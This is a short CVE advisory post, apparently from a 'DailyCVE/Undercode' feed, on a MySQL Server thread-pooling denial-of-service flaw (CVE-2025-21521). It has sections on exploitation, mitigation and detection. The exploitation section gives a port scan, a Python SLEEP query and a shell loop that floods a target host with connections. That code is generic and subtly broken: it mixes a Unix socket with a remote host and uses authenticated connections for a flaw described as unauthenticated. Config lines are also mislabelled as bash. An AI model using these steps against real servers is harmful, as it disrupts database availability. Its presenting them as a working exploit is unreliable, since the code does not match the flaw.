How the CVE Works:
CVE-2025-21521 is a vulnerability in MySQL Server’s Thread Pooling component, affecting versions 8.0.39 and prior, 8.4.2 and prior, and 9.0.1 and prior. An unauthenticated attacker can exploit this flaw via network access to trigger a denial of service (DoS) condition. The vulnerability arises due to improper thread handling in the pooling mechanism, leading to resource exhaustion or repeated crashes. The attacker sends specially crafted requests, overwhelming the thread scheduler and causing the MySQL service to hang or crash, disrupting database availability.
DailyCVE Form:
Platform: MySQL Server
Version: 8.0.39, 8.4.2, 9.0.1 (and prior)
Vulnerability: Thread Pooling DoS
Severity: High
Date: 04/09/2025
What Undercode Say:
Exploitation:
- Identify Target: Scan for MySQL instances (default port 3306).
nmap -p 3306 <target_IP>
- Craft Malicious Payload: Send malformed queries to exhaust thread pool.
import mysql.connector conn = mysql.connector.connect(host="<target_IP>", unix_socket="/tmp/mysql.sock") cursor = conn.cursor() cursor.execute("SELECT SLEEP(1000)") Example DoS query - Trigger Crash: Flood connections to overwhelm the scheduler.
for i in {1..1000}; do mysql -h <target_IP> -e "SELECT 1"; done
Mitigation:
- Patch Immediately: Upgrade to MySQL versions beyond 8.0.39, 8.4.2, or 9.0.1.
sudo apt-get update && sudo apt-get install mysql-server
- Rate Limiting: Restrict connection rates via firewall rules.
iptables -A INPUT -p tcp --dport 3306 -m connlimit --connlimit-above 50 -j DROP
- Thread Pool Tuning: Adjust thread pool size to limit resource exhaustion.
[bash] thread_pool_size = 16 thread_pool_max_threads = 100
- Network Isolation: Restrict MySQL access to trusted IPs.
iptables -A INPUT -p tcp --dport 3306 -s <trusted_IP> -j ACCEPT
Detection:
- Monitor for abnormal connection spikes or crashes:
SHOW STATUS LIKE 'Threads_connected';
- Enable MySQL error logging:
[bash] log_error = /var/log/mysql/error.log
References:
- Oracle Critical Patch Update Advisory (January 2025).
- CVE-2025-21521 NVD Entry.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-21521
Extra Source Hub:
Undercode
